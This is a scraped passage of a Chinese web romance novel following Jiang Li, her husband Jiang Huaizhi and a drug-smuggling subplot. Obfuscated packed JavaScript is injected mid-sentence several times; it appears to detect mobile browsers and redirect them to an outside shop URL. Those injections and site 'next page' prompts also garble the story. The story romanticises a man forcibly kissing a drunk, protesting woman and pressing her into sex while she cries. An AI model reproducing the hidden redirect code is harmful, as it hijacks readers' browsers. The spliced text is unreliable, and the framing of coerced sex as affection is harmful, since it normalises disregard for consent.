姜梨歪着头,呆呆的盯着司南泽脖子上的一处突起,伸出食指摸了两下,然后又去摸摸自己的,眉心皱了一下,“我为什么没有?” 司南衍和裴安:“………” “姜二小姐,下次不要再喝醉了。”司南泽叹了一口气,声音沙哑低沉。 姜梨悬在半空的小腿荡啊荡,瞥到他通红的耳朵,喊了一句:“大哥哥的耳朵会变颜色!好厉害!” 裴安和司南衍也同时朝着司南泽看了过去,司南泽的脸依旧苍白,所以显得耳廓红的格外明显,像要滴血。 司南衍没说话,心里却是想:他四哥怎么还挺,纯情的? 姜梨现在看司南泽的眼神都无比惊奇,像是在看什么她从来都没见过的外来物种,光看还不够,还要上手摸来摸去。 “不仅会变颜色。”她捏了捏他的耳廓,小声的感叹:“还很烫,像暖宝宝。” 姜梨越凑越近,司南泽越走越慢,在她要张嘴咬上来的时候,他彻底停了下来,微微偏头躲开,“你喝醉以后对谁都这样吗?” 与此同时,一扇门也被打开,江淮之从包间里走了出来。 姜梨猝不及防的和他的视线相撞,下意识憋住了呼吸,捏司南泽耳朵的手条件反射的用力,像是被人点了穴,趴在司南泽的背上一动都不动,眼睛直勾勾的看着江淮之。 司南衍轻咳了一声,喊了声:“大哥。” “老四的身体已经好了吗?”江淮之问司南泽,一张脸看不出喜怒,“居然还有力气在这照顾一个醉鬼,昨天晚上那个阵仗,我还以为司家又要再办一场葬礼。” 裴安的表情变了变,表情极其不悦,见司南泽依旧云淡风轻,只能强压下心里的怒意。 司南衍皱眉,心里觉得奇怪,江淮之和他四哥一向井水不犯河水,连话都没说过几句,怎么今天张嘴就咒人家去死? 司南泽脸上挂着浅笑,“这么漂亮的妹妹,我总不能扔下不管,任由她被别人欺负。” “咦?”姜梨似乎是没有认出江淮之,疑惑的问了一句:“你认识那个男模吗?” “………” 空气陷入一片诡异的安静。 包间里的陆七正在喝酒,听到这句话差点没被呛死。 本来江淮之的心情就已经是极其的糟糕了,这会更是觉得肺都在隐隐作痛,一抽一抽的。 她不是来给谢鹤扬过生日吗?怎么现在又跟司南泽在一起了?谢鹤扬就他妈是这么带她的? 江淮之的眼睛直直的盯着姜梨,冷声:“姜梨,下来。要去哪,自己走回去,不然我打断你的腿。” 可能是因为他的声音太冷,压迫感太强,姜梨居然真的挣扎着从司南泽身上跳了下来。她咬着下唇,眼睛红红的,委屈得很。 姜梨吸了一下鼻子,仰头看了一下门牌号,脚步虚浮的走到209,没有吭声,推开门走进去,消失在了众人的视线里。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293897|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜梨回到包间里,纪繁星和谢鹤枭分别坐在两边,气氛有些微妙。 她现在没那个精力去细想这些,要是现在给她一把枪,她会直接杀到三楼,一枪毙了沈叙那个畜生,那个害她家破人亡的畜生! 沈月汐害林遥,沈叙害姜祈安。 沈家人为什么总是不放过她,为什么总是要掠夺掉她身边为数不多的珍宝? 她明明是楚云跟原配生下来的孩子,在高中的那三年里却被当成了私生女,连楚云家的大门都不配进,只能独自生活。 姜祈安和她明明从来都没想过要去跟他们争什么,一个两个却非要苦苦相逼。 楚卿然是缉毒警,他已经被发现了,就算今晚逃出去,他也不可能再回楚家。 那她原本的计划还能继续实施吗? “砰!砰!砰!” 姜梨听到了烟花升起又炸开的声音,意识到什么,她愣了一下,然后一把拽过纪繁星,不由分说的拉着她跑出去。 谢鹤枭没有阻拦,而是起身跟在她们身后。 门外站着的人还没有走,姜梨都全然当没看见,她兴高采烈的拉着纪繁星越过几个男人,一边拉着纪繁星跑下楼,一边说:“快到十二点了,我们要赶紧去找谢鹤扬!” “不是,你慢点啊!惊喜又不会跑!” 怕她们又惹出什么麻烦,谢鹤枭和江淮之不约而同的选择跟上去,司南泽眼睛不方便,留在原地。 酒吧大厅里涌进来大批的人,每个人手里都拿着不同种类的花。光是玫瑰就有好几个颜色的品种,还有郁金香、洋桔梗、矢车菊。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第110章 当着所有人的面吻她 谢鹤扬跟着人流回到大厅,看到站在舞台上的姜梨捧着一大束玫瑰看向他的的时候,他觉得心口被人揉了一把。 少数的快乐里掺了点酸涩,就像是蜜枣里掺了一堆细小的玻璃碴子,又甜又疼。 不少人都认得姜梨,忍不住一阵唏嘘。 谢鹤扬缓了缓情绪,从人堆里走出来,到最前面,站在舞台下,仰头看着她。 姜梨蹲下来,把手里的玫瑰送到他面前,笑得明媚,“谢鹤扬,生日快乐呀~” 谢鹤扬接过她的花,她的脸很红,头发和领口都有些乱。 脖子上的一枚红痕被谢鹤扬看进眼里,他抬手替她拉了拉衣服,他想摸摸她的脸,最终还是只揉了一把她的头发,然后把她从舞台上抱了下来。 待姜梨站稳,他牵住她的手往外走:“我送你回去。” 姜梨看出来他不是很高兴,乖顺的跟着他走的同时,小声的问他:“怎么了?” 谢鹤扬喉咙有些发苦,然后对她说:“我刚刚找你的时候遇到了楚卿然,他已经顺利逃走了,你不用担心,我也不会告诉别人。” 姜梨轻轻“嗯”了一声,她知道谢鹤扬是为什么不高兴了,但是她没有提。 快走出酒吧时,谢鹤扬突然停了下来,“我们明天就要回港城了,你也快了。” “怎么了吗?”姜梨有点不太明白,他突然提这个做什么。 谢鹤扬扬了扬下巴,示意她看外面,路边停着那辆库里南,是江淮之的车。 “你应该没告诉他你要去港城吧?”谢鹤扬意味深长的问了她一句:“你这么喜欢他,这段时间你难道不应该好好陪陪他吗?毕竟以后可就见不到了,最后一段时间了干嘛非要吵架?” 姜梨心尖颤了颤,在心里回答了一句:太温情的话,就舍不得走了。 想完又觉得哪里不对,谢鹤扬刚刚说以后就见不到了,他知道她要干什么了吗?他是怎么知道的? “你都已经搞出这么大的动静了,江淮之都没走,明显就是要抢人。”谢鹤扬看着她,“你如果愿意跟他走,我今天就不拦,你要是不想跟他走,我今天就带你私奔。” 姜梨眼睫颤了颤,握着谢鹤扬的那只手紧了紧,轻轻说:“他有时愿陪,哪里需要我陪他留什么好的回忆?” 想着想着,姜梨的鼻子一开始发酸,声音都带了哭腔:“江淮之可是北城太子爷,有我没我他都会过得很好,他又不喜欢我。” “等明天我就告诉叶辞,让他把这个酒吧的名字给换掉,我现在看见愿字就觉得恶心……烦死人了!” 看她是真的伤心了,还在不停的掉金豆子,谢鹤扬手忙脚乱的去帮她擦眼泪,“哭什么?你昨天不是才说过什么不听话的男人就做掉,然后换一个吗?我觉得,我应该挺听话的。” 谢鹤扬帮她拍背,因为着急,嘴里蹦出来一句粤语:“家山,阿妹呀,唔好呀。”(祖宗,妹妹,别哭了。) “呢酒吧你要睇唔顺眼,而家揜咗都得,我到时再赔畀叶二少。”(这酒吧你要是看不顺眼现在砸了都行,我到时候再赔给叶二少。) 姜梨抬起头,抽搭着说:“叶辞会宰你,然后全部都给我,等同于我宰你。” 谢鹤扬叹气:“给你宰。” 头好痛,姜梨觉得冷,但是身体和脸又很烫,那瓶酒的后劲很足,刚刚还能保持点清醒,现在不行了,她哪里都很不舒服,身体变成了云,很飘。 姜梨眉毛皱在一起,拉着谢鹤扬往外走,“你,你车呢?在哪里?” 谢鹤扬还没说话,江淮之就已经下了车,走到了两个人跟前,看到两个人交握的手,冷笑了一声,一把就将她从谢鹤扬那里扯了过来,然后拉着她往自己的车上带。 “我不要跟你走!谢鹤扬!谢鹤扬!”姜梨愣了好几秒钟才反应过来,立刻开始反抗。 又是这个名字,还是从她嘴里喊出来的。 “江淮之!我不要……唔!”江淮之眼睛一眯,捏住她的双颊,用最直接的办法堵住了她那张嘴。 “!!” 姜梨猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293898|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地瞪大眼睛,这可是在酒吧门口,全部都是人!江淮之他疯了吗!! 谢鹤扬本就没打算真的要带姜梨走,一是他抢不过江淮之,二是不想姜梨后悔一辈子。 从上次救下姜梨的时候,谢鹤扬就已经察觉到了她跟江淮之之间微妙的气氛,没准江淮之那所谓的妻子,就是姜梨。 他看到这一幕也没有太惊讶。 但是后面出来谢鹤枭和纪繁星就有点愣住了。 “啪!”姜梨气得一巴掌扇到了江淮之那张脸上,发出一声清脆的响。 纪繁星眼皮狠狠跳了一下,姜梨醉酒之后居然这么猛吗?那可是江淮之,她打得一点都不带犹豫的。 突然她就将视线移向了谢鹤枭,然后看了看自己的手掌,打了一个激灵。 她都不敢想,如果是她这样打谢鹤枭一巴掌,会有多可怕…… 姜梨觉得不解气,还想再打。 江淮之躲都不带躲一下,一副任由她打的样子。 姜梨这一巴掌最终还是没打下去,气呼呼的瞪着他。 “ 解气了吗?能上车了?” 然而他根本不给她说话的机会,直接拉开车门,“帮”她上了车。 江淮之掀开眼皮,眼神越过谢鹤扬和谢鹤枭,深深的看了一眼站在那边的司南泽,眼里划过一丝不易察觉的笑。 司南泽的手猛的握成了拳,太阳穴突突跳了两下。 关门声和引擎声都像是一把锤子,重重的敲击着他的耳膜,几乎要将他的耳蜗砸穿,然后失聪。 围在祈愿周围的黑衣人早已被遣散,这时裴安从酒吧里走了出来,他附到司南泽的耳边说了一句:“姜小姐和纪繁星待过的那个包间有打斗的痕迹,我在沙发背上发现了血迹。” “先生,是姜小姐帮楚卿然逃走的,您……” 司南泽扭头,没有聚焦的眼睛看着他,他没有说话,表情甚至算得上和颜悦色,却还是让人感觉到了寒意。 裴安低下头,没有再说下去。 第111章 二梨想要试试吗? 江淮之上车后一把拽过姜梨,让她面向他跨坐在了自己的大腿上,谢铭面无表情,默默的升起隔板,点火,启动车子。 姜梨看了眼窗外站着的人,越想越气,捏起拳头捶他,“前两天是在校门口,今天是在酒吧门口,这么多人都在,你还要这样欺负我!” “我都说了我不想跟你回去!我不要跟你回去!我……我讨厌……唔!” 江淮之掐住她的双颊,让她的嘴巴嘟起来,然后堵住,察觉到她要躲,手掌摁住她的后脑勺朝前扣,吻得更深一些。 姜梨心想,他亲别人的时候也是这样的。 眉毛一皱,张嘴狠狠咬了一下他的下唇。一股铁锈味在唇齿间弥漫开来,江淮之吃痛,“嘶”了一声,然后松开她。 “你就只会这样逼迫我,欺负我,除了这样你还会别的招数吗?”姜梨的嘴巴上也沾到了他的血,她抬手狠狠擦了一把,颇为嫌弃。 在这种事情上,她有很严重的洁癖。 他这双手抱过别人,这张嘴也亲过别人,不仅仅是心理上的膈应,还有生理上的恶心。 “你,你放我下去,我不要你抱我!” 说着就开始推他,挣扎着要下去。 江淮之被她这一系列的动作惹的心烦意乱,抱得更紧的同时还不忘吓唬她:“怎么?你想玩车震?” 姜梨的理解能力一向很好,喝了酒之后也是有过之而无不及,一股热气直冲天灵盖,揪住他的衣领对着他就骂:“你要是想的话就去找你的白月光,你找我干什么?有原版你不用,非要来找翻版,你脑子被开水烫过吗?” 白月光,原版和翻版,什么乱七八糟的东西? 江淮之无奈叹气,“妹妹,别在我头上乱扣帽子,我没有什么白月光。我上次就已经跟你解释过了,我有事情要办,给我点时间,我会处理好……” 骗子!不听! “你说她不是你的白月光,那你为什么要在记者面前说那种话?对他们亲口承认她是你的初恋情人,还为了去找她把我丢给叶止。” “明明司家都已经鸡飞狗跳了,你自己也跟我说你接下来会很忙,可你还是抽时间陪她排长队,去买糕点。” “你跟我说你不喜欢她,你说你只喜欢我一个,可是你对她也有感情,我都看到了,在停车场里,你亲她了。” “你都可以跟别人卿卿我我,搂搂抱抱,我又为什么不能跟谢鹤扬在一起?”姜梨松开他的衣领,推了他一把,“我都没有去责问你,你也少来管我!” 江淮之被气笑了,“是她来亲我,我后来躲开了。你没看完全过程就这么污蔑我?姜二梨,这么不信任我吗?” 姜梨低下眼睛,吸了吸鼻子,“我让你把她送走你不送,我问你有没有骗过我你不给我答案,我问你到底要做什么事情你也不告诉我。你都没有想过,我会因为这些烂事去猜想出多少种离谱的答案出来,然后又自我欺骗的把每一个猜想都否决掉。就这样循环往复,像在沼泽里。” “你的过往我不知道,你的心事从来不对我讲,你心里藏着的秘密就更不可能会告诉我。别人可以叫你的小名,但是我不可以。” 眼泪从眼眶里掉下来,落在了江淮之的手背上,有些烫,砸出来一朵泪花。 姜梨抽噎了一下,继续道:“如果我哥没有死,你根本就不会娶我,你一直都在骗我。” “我要跟你分手,我要跟你离婚。” 此时车子缓缓停下,已经停在了秋水湾的地下车库。江淮之的嘴唇抿成了一条直线,护着她的头,抱着她从车上下来。 姜梨的泪腺彻底打开,眼泪顺着眼角滑到下巴,滴在他的肩膀上,润湿了一块深色的印记。 她哭得厉害,本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293899|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来就发晕的脑袋此刻就更晕了,眼皮好像粘在了一起,有点睁不开。 只听到“滴”的一声,房门被打开,然后又合上。 她的鞋子被江淮之脱掉,还没有反应过来,她的外套也被解开,然后掉在了地上。 江淮之甚至都没有开灯,就把她压到了沙发上,手从她的衣服下摆钻进去,轻车熟路的解开她的搭扣。 “嗯……你干什么?”姜梨被这一下给刺激到了,黑暗里她的眼睛瞪大,伸手推他。 江淮之双唇轻启,吐出来一个字:“你。” 话音落下,她的上衣就被他扒掉了,紧接着落下来的就是他铺天盖地的吻, 掠夺她的呼吸,带着强烈的惩罚意味,强势又野蛮,凶狠又疯狂。 姜梨躲不开,被动的承受。 水声里混着布料摩擦的声音,以及一道“咔哒”的轻响。 江淮之的手指摸到了她的眼泪,他松开她的嘴唇,大手扣着她肩膀,把她翻了个面。 黑暗的环境不断放大心里的不安,姜梨想要逃走,却被他掐住了腰。 她的手撑在沙发上,没有留指甲的指尖抓紧沙发垫。 江淮之气息有些不稳:“我一碰你就哭成这样,还要怎么跟我分手?怎么跟我离婚?” “跟我说什么死了都不要我管,跟那些危险的人混在一起,整个人都恨不得跟他们粘在一起不分开。”江淮之拨开 她后背的头发,轻轻掐住她的后颈,“妹妹,你惹我生气了。” 姜梨的脑子乱成了一团浆糊,凭着本能去反驳他:“我也在生气,但是你管我了吗?你就只是觉得我是在跟你闹,除了用这样的办法逼我说不分手,不离婚你还有别的招吗?” “有啊。”江淮之附身凑到她耳边,轻轻咬了一下她的耳尖,低低的笑了一声,“二梨想要试试吗?” 第113章 他恨过她吗 翌日。 天气出奇的明媚,阳光透过一层窗帘洒下淡黄色的光晕,格外温馨。 姜梨躺在床上,额头都是细密的汗珠。 梦境里,她置身在一片火海里,滚滚浓烟进入鼻腔,被吸进肺部。 她的手里拿着一把沾了血的刀,表情愤恨的看着眼前的男人,是林宴。 在他的手要碰到姜梨时,林遥突然冲了过来。一阵扭打之后,三个人就到达了阳台。 下一秒,姜梨眼前一阵旋转。 “嘭”的一声,肉体狠狠砸在地面。 姜梨感觉不到痛,她扭头朝另一边看过去,和林遥的视线对上,她的嘴唇一张一合的在说什么,姜梨听不清楚也看不明白。 一片红色从她的身体里争先恐后的涌出来,蜿蜒流淌。 姜梨看到林遥对她笑了一下,她的口中不断溢出鲜血,然后就那样合上了双眼,了无生气。 世界在这一刻安静下来,姜梨感觉到她的心脏被生生撕裂,全身的骨头同时断掉。 痛到难以呼吸,痛到皮肉分离。 姜梨眉头紧锁,脸上不知道是汗还是泪,嘴里不断地轻喊着林遥的名字。 梦境里画面一转,在一片白茫茫的浓雾中,她再次听到刀尖刺进肉体,然后又拔出来,再刺进去的声音,痛苦的闷哼声伴随着男人的咒骂声,鼻尖可以闻到浓烈的血腥味。 “我就说你跟你妈妈一样是个烂货!小小年纪就会勾引男人!” “我说你这个野种怎么对我和你妈重组家庭这件事这么抵触,原来是早就看上姜梨了!” 姜梨这次看清楚了。 一个满身鲜血的少年,挡在已经被折磨到意识不清的女孩身前。苍白的脸和溅在他脸上的鲜红形成了鲜明的对比。 他的头发有些许长,遮住了他的双眸。 但是姜梨知道,被他护着的那个人,是她自己。 她听到小时候的自己在说:“司韩野你快跑啊,你快跑……我爸爸真的会打死你的。” 男生咬着牙,他抬起脸,第三视角的姜梨,心脏“砰砰砰”的跳起来。 是江淮之。 他就这样静静的看着小姜梨,抬起手轻轻地蹭掉她脸上的灰,一字一句道:“我爱你。” 话音一落,就抬手打晕了小姜梨。 紧接着他眼神一凛,立刻站起来跟那个举着刀的男人打在一起。 十几年前的老房子破旧不堪,阳台都没有防盗窗。江淮之瘦弱不堪,背上的伤口还在汩汩流出鲜血,哪里是姜铭生的对手? 江淮之抱住他的腰,将他抵到了阳台边上,下一秒,窗户的玻璃碎裂。 姜梨看到江淮之抱着姜铭生翻了下去。 她立刻跑过去想要抓住他,但是她却离他越来越远,就这样眼睁睁的看着他从阳台上摔下去,几秒钟过后再次听到了肉体砸在地上的声音。 白茫茫的雾气再次弥漫,周围的一切变得虚无缥缈起来,姜梨崩溃大叫起来:“不要!!” 江淮之嘴里咬着烟,坐在书桌前,手里捏着谢鹤枭递给他的纸条,然后拿起打火机点燃,烧成灰烬。 他拉开上锁的抽屉,从里面拿出来两本结婚证,刚要点燃,就听到了姜梨的叫声。 他眉心一蹙,赶紧掐灭烟头,扔下打火机,离开书房进到她的卧室里。 姜梨紧紧揪着被子,脸色惨白,困在那场噩梦里醒不过来,不停的喊着:“江淮之,江淮之!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293900|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江淮之一边抽出纸巾去擦她脸上的汗珠,一边轻轻拍她的脸,喊醒她:“二梨,二梨!” “江淮之!!”姜梨猛然睁开眼睛,条件反射的从床上坐了起来。 她脸色无比难看,呼吸急促。看到江淮之,一把掀开被子,胳膊搂住他精瘦的腰,抱紧。 姜梨哭的身体都在颤,滚烫的眼泪不要命的往外流,心口的钝痛却始终得不到缓解,哭得呼吸都困难。 江淮之都被她哭得心脏抽痛了一下,怕她把自己闷坏,捏着她的下巴抬起来,耐心的擦掉她不断滚下来的眼泪,“梦到我了怎么哭成这样?我在梦里打你了吗?” 梦镜太真实,姜梨大概知道那极有可能不是梦,而是她以前丢失掉的记忆,是真实发生过的事情。 江淮之就是司韩野。 那叶辞查到的,司韩野的继父就是姜铭生,她曾经是他的……继妹? 她的爸爸就是那个住在司韩野家隔壁的瘾君子,他还让江淮之的妈妈也染上了毒品。 那姜铭生和他一起摔下去之后,就当场死了吗?姜梨不知道那是几楼,她看不清楚,她记不起来。 江淮之就是司韩野,那为什么叶辞查出来的是司韩野已经死了?那个江野又是怎么回事? 姜梨心间萦绕着太多问题,但是她没有问江淮之。 他不会告诉她的。 姜梨也没有办法回答他的问题,满脑子都是江淮之抱着姜铭生从阳台上翻下去的画面,哭得喉咙肿胀,说不出话,只能不断摇头。 梦里他好像受了很严重的伤,那她昨晚摸到的那些疤,也是这个时候留下来的吗? 本小章还未完,请点击下一页继续阅 读后面精彩内容! 第114章 是他的蓄谋已久 姜梨突然觉得有些冷,双唇都有些颤抖。抱着他腰的胳膊松开,重新缩回被窝里。 “我困,还要睡觉。” “我一会叫你。”江淮之不知道她这些想法,只当她是哭累了,帮她掖好被角,然后退了出去。 确定江淮之已经走了,姜梨睁开眼,拿过手机切换微信给沈翊发信息,问他楚卿然安全了没有。 沈翊回信息一直都是光速,这次同样回得很快:“楚家和沈叙都在派人追杀他,不过他现在已经出了樱洲城了,目前暂时是安全的。” 姜梨看到这,微微松了一口气。 安全就好。 过了会,沈翊又发过来一句:“你们表兄妹都挺能演啊?楚家和沈叙现在只知道他是缉毒警的卧底,但是还不知道你和楚卿然居然是一伙的。” 姜梨眼睛闪了闪,解释了一句:“楚卿然要是公然对我好,把我当妹妹的话,楚家其他人就越会对我不满,也会对他不满,但是我不知道他是缉毒警。” 楚卿然怕是早就想好会有这么一天,所以才一直对她恶言相向,即使他身份暴露,姜梨也依旧安全。 沈翊没有再去跟她说楚卿然的事,毕竟还有一件大事要做,手指在屏幕上敲击,发过去一句:“沈月汐已经在联系人帮她在港城的黑市购买炸药了,和你想的一样,她的帮手就是楚柠歌。” 姜梨看到沈翊发过来的这句话,冷笑了一声。 林遥的仇她要报,她自己的仇,也要报。 她平白无故被诬陷了这么久,趁着这个机会,也该还自己一个清白。 沈月汐、楚柠歌,还有整个楚家和沈家,谁都别想独善其身。 书房里,江淮之在跟韩斯年打视频通话。 “下个月是沈叙和傅家千金的婚礼,通知你的上级,在那天去抓人。这一段时间千万不要有动作,免得被沈叙察觉,他会逃跑。” 韩斯年:“我明白,港城这边,楚家也可以一锅端了。” 江淮之“嗯”了一声,转动了一下拇指的玉扳指,沉声道:“裴琴也是你们的人吗?” “你认识?”韩斯年有些意外的挑了一下眉,然后说:“她和我一样,都是姜祈安的下属,姜祈安任务失败以后,她就被调到了港城这边,不过她不知道我。” 难怪姜祈安会突然出事,手里的证据和线索也都被销毁,原来问题是出在这。 “她是毒老大的人。”江淮之眼睛眯了眯,抬头看着视频画面里的韩斯年,沉声道:“毒老大是司南泽,也就是司家老四。” “不过现在还抓不了他,他很谨慎,一直都是让沈叙打头阵,自己倒是没留下什么证据。” 韩斯年一愣,他知道司南泽,但是他不是瞎子吗? 江淮之看出他的想法,淡淡道:“我现在不仅怀疑他装瞎,我还怀疑他压根儿就不是司南泽。” “等一下。”韩斯年眉头紧锁,“你什么时候查到这些的?” “我一开始的确怀疑司南泽,让洛骞去查病历,也旁敲侧击的问了医生,但是都没有任何问题,不确定的事情我就没有跟你说。”江淮之的手指轻轻敲击着桌面,“但是在昨天晚上,谢鹤枭告诉我,毒老大就是司南泽。” “而且他还认识姜梨,包括谢鹤枭一开始愿意跟我签合同,也是他要求的。” 韩斯年瞳孔猛缩,音调都拔高了好几个度:“姜梨怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293901|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会认识司南泽的?” 江淮之勾唇笑了一下,“你带上你信得过的人去韩家祖陵把韩聿泽的棺材给挖出来,重新开棺验尸,提取DNA去做鉴定,看看棺材里到底是韩家人还是司家人不就清楚了吗?” “动作小一点,不要让其他人知道。如果棺材里躺着的是真正的司南泽,那么韩家就一定还会有奸细。” 韩聿泽是韩斯年的亲叔叔,也是韩家老爷曾经最疼爱的小辈。 因为韩二爷——韩聿泽的父亲是缉毒警,暴露被杀之后,他的妻子和儿子也遭到了毒贩的报复。 韩聿泽的母亲用生命为他争取到了活命的机会,但是他逃回来后双目失明,性情大变。 最终还是死在了毒贩的手里,年仅十二岁。 自那之后,韩家就多出来一条不成文的规定。 韩家人一旦选择从警,就会被逐出家族,族谱上也不会再有他的姓名。 归国,不归家。 韩斯年依旧想不通江淮之为什么会想到这个可能性,实在是有点离谱。 “你的依据是什么?我总不能没有证据就无缘无故带着一大帮人去挖我亲叔叔的墓吧?” “啧。”江淮之睨了他一眼,想穿过这层屏幕拍醒他,“我都说了司南泽认识姜梨,她以前只在北城、江城和港城长时间生活过,她都没来过樱洲怎么可能认识司南泽?” “在北城和江城的时候我跟她没分开过,她接触过的所有人我都知道。”说到这里他停顿了一下,然后无奈扶额。 好吧,除了南诗奕和她安排在沈家的那个女佣这两个意外。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第115章 宝宝你好可爱 江淮之突然愿意回司家,愿意回韩家,跟一群豺狼虎豹争权夺利,把岌岌可危的韩家送上和谢家一样的地位,成了港圈的第一豪门。 别人都说他是狼子野心,但是司家家主,韩家家主,财、权、势,在江淮之那里都只是他可以娶姜梨的筹码而已。 韩斯年惊的好半天都说不出话来,过了大概三分钟,他才出声:“爷爷要是知道你做这些是为了娶一个缉毒警的妹妹,真的会被气死。” 江淮之带着笑的眼睛里闪过一丝光,没跟韩斯年多解释这些,只是对他说:“楚卿然你不用管,警方已经在全力搜救了。裴琴这个人该怎么处理你比我清楚,你自己小心行事。” 韩斯年:“嗯。” —— 姜梨跟沈翊没聊多久,谢鹤扬早上八九点的时候给她发了信息,他是晚上的机票,问她要不要给他送行。 姜梨没有答应,反正一月份她也要去港城,没必要去送他。 她刚刚跟江淮之说困了想睡觉也没有撒谎,她的确困,身上也很疼。 回好信息以后她闭着眼睛躺了好久,噩梦缠身的她,实在是没有办法再继续入睡。 从床上爬起来,拉开窗帘站在窗户边上。 哭得太久,她的眼皮有些肿,睁着眼都感觉有些费劲,眼眶也热热的。 午后暖暖的阳光透过玻璃洒在她身上,有些刺眼,她皱着眉,手隔着睡袍宽大的衣袖搓了搓胳膊。 姜梨觉得有些冷。 明明太阳是暖的,房间里也开着暖气,可她的手和脚都是凉的,总是觉得有一股寒意直往体内钻。 还有半个多月的时间,她就要离开这个地方了,也会离开江淮之。 想到他,姜梨眸光一顿,手掌下意识摸了摸小腹。 她记得昨天晚上从客厅到卧室,然后再到浴室,江淮之好像都没有做防护。 还记得他说过什么要孩子之类的话。 她现在还在吃那些乱七八糟的药,怎么能在这种时候要孩子?八成都是不健康的孩子。 而且她大学都还没毕业。 姜梨咬了一下唇瓣,然后换衣服。 脱掉睡袍,她才闻到自己身上有一股味道。膏药贴混着药油和不知名的药膏味,还有沐浴露的花香味,几种味道混在一起又苦又香,实在算不上好闻,一股怪味儿。 江淮之给她身上抹这么多药干什么? 正这样想,她低头看了一眼,看得她又气又羞。 江淮之这个纵慾无度的老畜生! 看到肋骨那一片地方的青紫,她蹙了一下眉,应该是昨天晚上跟楚卿然和纪繁星交手的时候伤到的。 闭了闭眼,姜梨套上衣服,跑进浴室洗漱。 从浴室里出来,小野就窜了过来,不停的喵喵叫,用爪子扒拉姜梨的裤腿。 它现在真的非常胖,圆滚滚的像一团毛茸茸的球。 姜梨蹲下来把它抱回它的窝里。 她想现在就回学校去,作业没有写。 再加上马上快要期末考了,姜梨不想到时候学分也没修完不能提前毕业,然后还要挂科。 然后还要去药店买药。 “喵?”那只猫看姜梨愣着蹲在原地,叫了一声。 姜梨回过神,安抚的拍了拍它的头,然后站起来朝书房走过去。 她没有像之前那样敲门,而是直接推门而入。 江淮之说话的声音戛然而止,偏头看过去,看到姜梨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293902|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝不苟的穿着,眼底暗了暗。 姜梨吞咽了一下有些干涩的喉咙,看着他说:“我要回学校了。” “今天周末,现在也才一点多。”江淮之挂掉和韩斯年的视频通话,然后站起来,“这个点回学校还太早。” 姜梨:“我作业还没写。” “四点我送你回去,跟我吃个午饭。” 她继续拒绝:“不行,一点多我都嫌太晚,四点就更是晚的离谱了。而且我一点都不饿,我不想吃,你可以自己……” “姜梨。”江淮之慢条斯理的合上电脑,声音微凉,“你这是要赶着去见谢鹤扬最后一面?” ?? 姜梨一顿:“你看我手机?” 